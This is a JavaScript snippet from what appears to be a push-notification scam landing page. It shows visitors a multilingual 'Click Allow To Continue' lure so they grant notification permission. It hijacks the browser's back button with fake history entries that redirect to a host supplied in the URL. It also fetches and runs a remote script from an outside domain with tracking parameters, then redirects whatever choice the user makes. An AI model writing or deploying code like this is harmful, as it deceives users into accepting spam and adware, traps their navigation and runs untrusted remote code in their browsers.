const userLang = (navigator.language || 'en').slice(0, 2); document.documentElement.setAttribute('lang', userLang); const translations = { ar: { allow: 'انقر فوق "سماح" للمتابعة', load: 'تحميل...' }, de: { allow: 'Klicken Sie auf „Zulassen“, um fortzufahren', load: 'Laden...' }, en: { allow: 'Click "Allow" To Continue', load: 'Loading...' }, es: { allow: 'Haga clic en "Permitir" para continuar', load: 'Cargando...' }, fr: { allow: 'Cliquez sur « Autoriser » pour continuer', load: 'Chargement...' }, hi: { allow: 'जारी रखने के लिए "अनुमति दें" पर क्लिक करें', load: 'लोड हो रहा है...' }, id: { allow: 'Klik "Izinkan" untuk melanjutkan', load: 'Memuat...' }, it: { allow: 'Fai clic su "Consenti" per continuare', load: 'Caricamento...' }, ja: { allow: '続行するには「許可」をクリックしてください', load: '読み込み中...' }, ko: { allow: '계속하려면 "허용"을 클릭하세요', load: '로딩중...' }, ms: { allow: 'Klik "Benarkan" Untuk Meneruskan', load: 'Memuatkan...' }, pl: { allow: 'Kliknij „Zezwalaj”, aby kontynuować', load: 'Załadunek...' }, pt: { allow: 'Clique em "Permitir" para continuar', load: 'Carregando...' }, ru: { allow: 'Нажмите «Разрешить», чтобы продолжить', load: 'Загрузка...' }, th: { allow: 'คลิก "อนุญาต" เพื่อดำเนินการต่อ', load: 'กำลังโหลด...' }, zh: { allow: '点击“允许”继续', load: '加载中...' } }; const translation = translations[userLang] || translations.en; document.title = translation.allow; document.getElementById('content').textContent = translation.allow; const urlParams = new URLSearchParams(window.location.search); const td = urlParams.get('td'); const cd = urlParams.get('cd'); const sd = urlParams.get('sd'); const zd = urlParams.get('zd'); const change = () => { document.title = translation.load; document.getElementById('content').textContent = translation.load; }; const changeRedirect = () => { change(); window.location.replace(`https://${td}/click.php?lp=1`); }; for (let i = 0; i < 3; i++) { history.pushState({}, '', '#'); } window.onpopstate = changeRedirect; if (navigator.permissions && navigator.permissions.query) { navigator.permissions.query({ name: 'notifications' }).then((status) => { status.onchange = change; }); } const s = document.createElement('script'); s.src = `https://hotbgilego.today/process.js?id=1287055898&p1=${cd}&p2=${sd}&p3=${zd}`; s.onerror = changeRedirect; const states = new Set(['notSupported', 'permissionSkipped', 'permissionDenied', 'subscribed', 'subscriptionExists']); window.addEventListener('phv2site.native_web_push', (e) => { if (states.has(e.detail.state)) { changeRedirect(); } }); document.head.appendChild(s);